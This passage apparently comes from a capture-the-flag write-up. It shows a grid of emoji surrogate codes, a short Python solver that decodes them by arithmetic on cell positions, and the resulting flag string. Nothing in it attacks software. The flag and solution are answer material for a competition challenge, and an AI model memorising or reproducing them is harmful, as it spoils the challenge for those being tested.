"d83d,de13", "d83d,de0b", "d83d,de1c", "d83d,de07", "d83d,de2f", "d83d,de27", "d83d,de17", "d83d,de2a", "d83d,de0c", "d83d,de17",
"d83d,de2e", "d83d,de08", "d83d,de1b", "d83d,de0d", "d83d,de00", "d83d,de12", "d83d,de15", "d83d,de12", "d83d,de1c", "d83d,de06",
"d83d,de1a", "d83d,de29", "d83d,de0f", "d83d,de2b", "d83d,de0f", "d83d,de05", "d83d,de20", "d83d,de03", "d83d,de2f", "d83d,de1e",
"d83d,de23", "d83d,de0d", "d83d,de02", "d83d,de2f", "d83d,de00", "d83d,de19", "d83d,de2f", "d83d,de10", "d83d,de0d", "d83d,de12",
"d83d,de19", "d83d,de18", "d83d,de19", "d83d,de08", "d83d,de09", "d83d,de1f", "d83d,de1f", "d83d,de01"
],
[
"d83d,de12", "d83d,de00", "d83d,de03", "d83d,de2f", "d83d,de2a", "d83d,de21", "d83d,de1b", "d83d,de1e", "d83d,de2b", "d83d,de0e",
"d83d,de28", "d83d,de12", "d83d,de05", "d83d,de2f", "d83d,de2d", "d83d,de22", "d83d,de0f", "d83d,de25", "d83d,de1d", "d83d,de2a",
"d83d,de28", "d83d,de2f", "d83d,de26", "d83d,de2f", "d83d,de1f", "d83d,de1b", "d83d,de18", "d83d,de16", "d83d,de0e", "d83d,de1f",
"d83d,de2c", "d83d,de01", "d83d,de2d", "d83d,de09", "d83d,de28", "d83d,de2c", "d83d,de0d", "d83d,de13", "d83d,de17", "d83d,de04",
"d83d,de0f", "d83d,de1d", "d83d,de07", "d83d,de2f", "d83d,de06", "d83d,de08", "d83d,de0c", "d83d,de0f"
],
[
"d83d,de1e", "d83d,de15", "d83d,de1b", "d83d,de01", "d83d,de08", "d83d,de2f", "d83d,de1a", "d83d,de0e", "d83d,de1a", "d83d,de14",
"d83d,de04", "d83d,de0d", "d83d,de23", "d83d,de13", "d83d,de00", "d83d,de2f", "d83d,de29", "d83d,de15", "d83d,de08", "d83d,de25",
"d83d,de17", "d83d,de26", "d83d,de15", "d83d,de22", "d83d,de2a", "d83d,de00", "d83d,de07", "d83d,de05", "d83d,de03", "d83d,de2e",
"d83d,de07", "d83d,de10", "d83d,de25", "d83d,de1f", "d83d,de11", "d83d,de1a", "d83d,de1d", "d83d,de00", "d83d,de1f", "d83d,de23",
"d83d,de01", "d83d,de0b", "d83d,de0f", "d83d,de21", "d83d,de1f", "d83d,de1a", "d83d,de07", "d83d,de08"
],
[
"d83d,de19", "d83d,de2b", "d83d,de13", "d83d,de12", "d83d,de0b", "d83d,de15", "d83d,de0c", "d83d,de1c", "d83d,de1e", "d83d,de2a",
"d83d,de2d", "d83d,de2a", "d83d,de0f", "d83d,de2b", "d83d,de1d", "d83d,de08", "d83d,de1f", "d83d,de0b", "d83d,de04", "d83d,de04",
"d83d,de2b", "d83d,de22", "d83d,de2d", "d83d,de14", "d83d,de17", "d83d,de22", "d83d,de25", "d83d,de09", "d83d,de18", "d83d,de16",
"d83d,de26", "d83d,de02", "d83d,de1c", "d83d,de21", "d83d,de2d", "d83d,de13", "d83d,de14", "d83d,de1a", "d83d,de15", "d83d,de26",
"d83d,de17", "d83d,de03", "d83d,de01", "d83d,de20", "d83d,de06", "d83d,de1d", "d83d,de2a", "d83d,de1c"
],
[
"d83d,de04", "d83d,de23", "d83d,de1b", "d83d,de2d", "d83d,de0a", "d83d,de2d", "d83d,de2f", "d83d,de2d", "d83d,de12", "d83d,de1e",
"d83d,de08", "d83d,de20", "d83d,de11", "d83d,de1b", "d83d,de07", "d83d,de1e", "d83d,de1a", "d83d,de1f", "d83d,de02", "d83d,de16",
"d83d,de10", "d83d,de12", "d83d,de05", "d83d,de05", "d83d,de14", "d83d,de0d", "d83d,de02", "d83d,de0e", "d83d,de18", "d83d,de24",
"d83d,de0e", "d83d,de0c", "d83d,de01", "d83d,de1e", "d83d,de2b", "d83d,de29", "d83d,de06", "d83d,de08", "d83d,de26", "d83d,de1c",
"d83d,de2a", "d83d,de16", "d83d,de18", "d83d,de05", "d83d,de26", "d83d,de28", "d83d,de24", "d83d,de04"
],
[
"d83d,de0e", "d83d,de22", "d83d,de0e", "d83d,de2e", "d83d,de01", "d83d,de26", "d83d,de05", "d83d,de27", "d83d,de2e", "d83d,de19",
"d83d,de1e", "d83d,de25", "d83d,de1e", "d83d,de2c", "d83d,de26", "d83d,de0f", "d83d,de0c", "d83d,de11", "d83d,de1d", "d83d,de1e",
"d83d,de08", "d83d,de22", "d83d,de2c", "d83d,de1e", "d83d,de2f", "d83d,de0b", "d83d,de01", "d83d,de13", "d83d,de0d", "d83d,de16",
"d83d,de0c", "d83d,de21", "d83d,de21", "d83d,de21", "d83d,de25", "d83d,de24", "d83d,de27", "d83d,de0c", "d83d,de2e", "d83d,de13",
"d83d,de09", "d83d,de14", "d83d,de0d", "d83d,de25", "d83d,de26", "d83d,de11", "d83d,de22", "d83d,de2d"
],
[
"d83d,de08", "d83d,de2d", "d83d,de2b", "d83d,de1a", "d83d,de01", "d83d,de1c", "d83d,de0f", "d83d,de23", "d83d,de27", "d83d,de06",
"d83d,de08", "d83d,de1a", "d83d,de29", "d83d,de16", "d83d,de1c", "d83d,de15", "d83d,de08", "d83d,de15", "d83d,de00", "d83d,de0e",
"d83d,de28", "d83d,de06", "d83d,de1f", "d83d,de29", "d83d,de04", "d83d,de18", "d83d,de14", "d83d,de1a", "d83d,de2b", "d83d,de1d",
"d83d,de24", "d83d,de01", "d83d,de05", "d83d,de07", "d83d,de06", "d83d,de2a", "d83d,de04", "d83d,de23", "d83d,de12", "d83d,de15",
"d83d,de27", "d83d,de06", "d83d,de10", "d83d,de22", "d83d,de21", "d83d,de02", "d83d,de11", "d83d,de0b"
],
[
"d83d,de15", "d83d,de28", "d83d,de12", "d83d,de2e", "d83d,de0e", "d83d,de1a", "d83d,de25", "d83d,de28", "d83d,de1d", "d83d,de06",
"d83d,de28", "d83d,de0b", "d83d,de26", "d83d,de0a", "d83d,de03", "d83d,de18", "d83d,de17", "d83d,de0f", "d83d,de0c", "d83d,de29",
"d83d,de01", "d83d,de1d", "d83d,de03", "d83d,de17", "d83d,de28", "d83d,de19", "d83d,de2d", "d83d,de1c", "d83d,de28", "d83d,de07",
"d83d,de01", "d83d,de19", "d83d,de22", "d83d,de06", "d83d,de09", "d83d,de04", "d83d,de26", "d83d,de2e", "d83d,de2e", "d83d,de25",
"d83d,de2a", "d83d,de20", "d83d,de0e", "d83d,de2b", "d83d,de2c", "d83d,de0f", "d83d,de1e", "d83d,de1a"
],
[
"d83d,de03", "d83d,de11", "d83d,de26", "d83d,de02", "d83d,de06", "d83d,de2c", "d83d,de25", "d83d,de20", "d83d,de03", "d83d,de11",
"d83d,de1a", "d83d,de05", "d83d,de10", "d83d,de09", "d83d,de2c", "d83d,de2f", "d83d,de12", "d83d,de01", "d83d,de06", "d83d,de09",
"d83d,de2c", "d83d,de2d", "d83d,de2b", "d83d,de0c", "d83d,de2a", "d83d,de19", "d83d,de24", "d83d,de0b", "d83d,de2f", "d83d,de05",
"d83d,de22", "d83d,de0d", "d83d,de0e", "d83d,de17", "d83d,de2e", "d83d,de17", "d83d,de10", "d83d,de20", "d83d,de26", "d83d,de05",
"d83d,de09", "d83d,de25", "d83d,de16", "d83d,de17", "d83d,de09", "d83d,de24", "d83d,de0b", "d83d,de18"
],
[
"d83d,de13", "d83d,de0e", "d83d,de09", "d83d,de2e", "d83d,de27", "d83d,de1f", "d83d,de13", "d83d,de13", "d83d,de19", "d83d,de15",
"d83d,de0e", "d83d,de2c", "d83d,de07", "d83d,de14", "d83d,de2f", "d83d,de0c", "d83d,de2d", "d83d,de1a", "d83d,de08", "d83d,de01",
"d83d,de15", "d83d,de14", "d83d,de20", "d83d,de27", "d83d,de24", "d83d,de1b", "d83d,de23", "d83d,de1c", "d83d,de0b", "d83d,de29",
"d83d,de12", "d83d,de21", "d83d,de13", "d83d,de10", "d83d,de2a", "d83d,de1d", "d83d,de07", "d83d,de0c", "d83d,de0b", "d83d,de03",
"d83d,de23", "d83d,de29", "d83d,de21", "d83d,de12", "d83d,de2d", "d83d,de23", "d83d,de01", "d83d,de11"
],
[
"d83d,de27", "d83d,de2b", "d83d,de00", "d83d,de0e", "d83d,de1d", "d83d,de2f", "d83d,de0c", "d83d,de12", "d83d,de19", "d83d,de11",
"d83d,de11", "d83d,de23", "d83d,de03", "d83d,de26", "d83d,de0f", "d83d,de2c", "d83d,de1c", "d83d,de1f", "d83d,de09", "d83d,de20",
"d83d,de02", "d83d,de13", "d83d,de10", "d83d,de01", "d83d,de27", "d83d,de15", "d83d,de03", "d83d,de2c", "d83d,de04", "d83d,de14",
"d83d,de02", "d83d,de01", "d83d,de15", "d83d,de1a", "d83d,de0f", "d83d,de0b", "d83d,de2c", "d83d,de00", "d83d,de2f", "d83d,de0b",
"d83d,de0e", "d83d,de14", "d83d,de0f", "d83d,de15", "d83d,de0d", "d83d,de16", "d83d,de2c", "d83d,de24"
],
[
"d83d,de03", "d83d,de09", "d83d,de15", "d83d,de07", "d83d,de2a", "d83d,de01", "d83d,de20", "d83d,de10", "d83d,de0b", "d83d,de15",
"d83d,de2a", "d83d,de1c", "d83d,de08", "d83d,de22", "d83d,de27", "d83d,de05", "d83d,de0c", "d83d,de20", "d83d,de2f", "d83d,de22",
"d83d,de15", "d83d,de29", "d83d,de22", "d83d,de27", "d83d,de02", "d83d,de26", "d83d,de1c", "d83d,de2c", "d83d,de1d", "d83d,de2e",
"d83d,de2b", "d83d,de2b", "d83d,de1a", "d83d,de1e", "d83d,de0c", "d83d,de0e", "d83d,de04", "d83d,de14", "d83d,de06", "d83d,de11",
"d83d,de18", "d83d,de25", "d83d,de17", "d83d,de2c", "d83d,de14", "d83d,de2a", "d83d,de2a", "d83d,de2f"
],
[
"d83d,de2e", "d83d,de18", "d83d,de2a", "d83d,de0a", "d83d,de1e", "d83d,de10", "d83d,de14", "d83d,de20", "d83d,de1d", "d83d,de1c",
"d83d,de0a", "d83d,de11", "d83d,de08", "d83d,de11", "d83d,de06", "d83d,de2c", "d83d,de28", "d83d,de14", "d83d,de27", "d83d,de1d",
"d83d,de20", "d83d,de21", "d83d,de27", "d83d,de2d", "d83d,de1f", "d83d,de17", "d83d,de0d", "d83d,de1e", "d83d,de06", "d83d,de1a",
"d83d,de29", "d83d,de2f", "d83d,de24", "d83d,de08", "d83d,de20", "d83d,de16", "d83d,de24", "d83d,de1b", "d83d,de27", "d83d,de0f",
"d83d,de20", "d83d,de18", "d83d,de29", "d83d,de02", "d83d,de05", "d83d,de03", "d83d,de28", "d83d,de1c"
],
[
"d83d,de04", "d83d,de1b", "d83d,de13", "d83d,de0e", "d83d,de10", "d83d,de15", "d83d,de02", "d83d,de27", "d83d,de2c", "d83d,de1b",
"d83d,de0f", "d83d,de12", "d83d,de03", "d83d,de2a", "d83d,de2d", "d83d,de1a", "d83d,de25", "d83d,de04", "d83d,de00", "d83d,de09",
"d83d,de1b", "d83d,de04", "d83d,de16", "d83d,de03", "d83d,de26", "d83d,de1c", "d83d,de12", "d83d,de11", "d83d,de23", "d83d,de20",
"d83d,de1d", "d83d,de2a", "d83d,de27", "d83d,de00", "d83d,de0f", "d83d,de0d", "d83d,de2e", "d83d,de11", "d83d,de00", "d83d,de07",
"d83d,de1a", "d83d,de2c", "d83d,de14", "d83d,de01", "d83d,de05", "d83d,de2b", "d83d,de24", "d83d,de07"
],
[
"d83d,de16", "d83d,de0d", "d83d,de08", "d83d,de17", "d83d,de12", "d83d,de05", "d83d,de03", "d83d,de23", "d83d,de0f", "d83d,de02",
"d83d,de14", "d83d,de1a", "d83d,de16", "d83d,de08", "d83d,de0d", "d83d,de1e", "d83d,de15", "d83d,de1b", "d83d,de16", "d83d,de05",
"d83d,de03", "d83d,de14", "d83d,de17", "d83d,de15", "d83d,de2f", "d83d,de0d", "d83d,de0f", "d83d,de0e", "d83d,de02", "d83d,de1c",
"d83d,de04", "d83d,de03", "d83d,de01", "d83d,de13", "d83d,de1b", "d83d,de1e", "d83d,de18", "d83d,de2c", "d83d,de1e", "d83d,de09",
"d83d,de15", "d83d,de23", "d83d,de07", "d83d,de20", "d83d,de0a", "d83d,de16", "d83d,de26", "d83d,de2f"
],
[
"d83d,de0f", "d83d,de13", "d83d,de11", "d83d,de0c", "d83d,de2a", "d83d,de06", "d83d,de16", "d83d,de2c", "d83d,de18", "d83d,de2e",
"d83d,de1e", "d83d,de16", "d83d,de05", "d83d,de1f", "d83d,de0f", "d83d,de09", "d83d,de07", "d83d,de04", "d83d,de11", "d83d,de1d",
"d83d,de11", "d83d,de13", "d83d,de29", "d83d,de25", "d83d,de2b", "d83d,de13", "d83d,de1b", "d83d,de1d", "d83d,de13", "d83d,de0d",
"d83d,de0b", "d83d,de1c", "d83d,de1c", "d83d,de00", "d83d,de25", "d83d,de14", "d83d,de24", "d83d,de1f", "d83d,de17", "d83d,de27",
"d83d,de20", "d83d,de1d", "d83d,de09", "d83d,de29", "d83d,de17", "d83d,de02", "d83d,de24", "d83d,de11"
],
[
"d83d,de2e", "d83d,de00", "d83d,de2b", "d83d,de17", "d83d,de13", "d83d,de0a", "d83d,de29", "d83d,de20", "d83d,de26", "d83d,de27",
"d83d,de1c", "d83d,de25", "d83d,de1f", "d83d,de07", "d83d,de2d", "d83d,de23", "d83d,de0d", "d83d,de02", "d83d,de2b", "d83d,de14",
"d83d,de0e", "d83d,de0d", "d83d,de01", "d83d,de24", "d83d,de1b", "d83d,de17", "d83d,de20", "d83d,de1b", "d83d,de10", "d83d,de03",
"d83d,de27", "d83d,de2c", "d83d,de17", "d83d,de2f", "d83d,de25", "d83d,de08", "d83d,de28", "d83d,de13", "d83d,de29", "d83d,de2b",
"d83d,de0c", "d83d,de2c", "d83d,de02", "d83d,de0e", "d83d,de13", "d83d,de27", "d83d,de00", "d83d,de27"
],
[
"d83d,de2d", "d83d,de04", "d83d,de10", "d83d,de20", "d83d,de06", "d83d,de1c", "d83d,de07", "d83d,de2a", "d83d,de17", "d83d,de04",
"d83d,de2b", "d83d,de24", "d83d,de00", "d83d,de08", "d83d,de0d", "d83d,de2c", "d83d,de06", "d83d,de1a", "d83d,de21", "d83d,de1e",
"d83d,de1d", "d83d,de0d", "d83d,de06", "d83d,de1c", "d83d,de09", "d83d,de0b", "d83d,de27", "d83d,de22", "d83d,de25", "d83d,de2e",
"d83d,de20", "d83d,de2e", "d83d,de09", "d83d,de0c", "d83d,de03", "d83d,de1e", "d83d,de28", "d83d,de14", "d83d,de13", "d83d,de20",
"d83d,de2b", "d83d,de10", "d83d,de21", "d83d,de0e", "d83d,de18", "d83d,de07", "d83d,de0f", "d83d,de25"
]]
print(len(s))


num = [25588, 31114, 28727, 26722, 24948, 25135, 25480, 29029, 23025, 25775, 15411, 25423, 25202, 30031, 27380, 30734, 25054, 25109, 20741, 28568, 28802, 24591, 26063, 30940, 30375, 19411, 29573, 20845, 27232, 26743, 25779, 24986, 31498, 30978, 22945, 26563, 35012, 29994, 27016, 29535, 21342, 26573, 27569, 25408, 31567, 25503, 21385, 27207]

dic = {}

for i in range(48):
for j in range(48):
k = s[i][j]
if k not in dic:
dic[k] = []
dic[k].append((i,j))

for k,v in dic.items():
x,y=k.split(',')
x=int(x,16)
y=int(y,16)
z=(x - 55296) * 1024 + y - 56320 + 65536 - 128512
for t in v:
num[z] -= t[0]*t[1]

print(bytes(num))

# b'\x00\x00\x00\x00\x00\x00369d9412-f5c8-4aa4-8056-a7e4369d4555\x00\x00\x00\x00\x00\x00'

flag:flag{369d9412-f5c8-4aa4-8056-a7e4369d4555}

PWN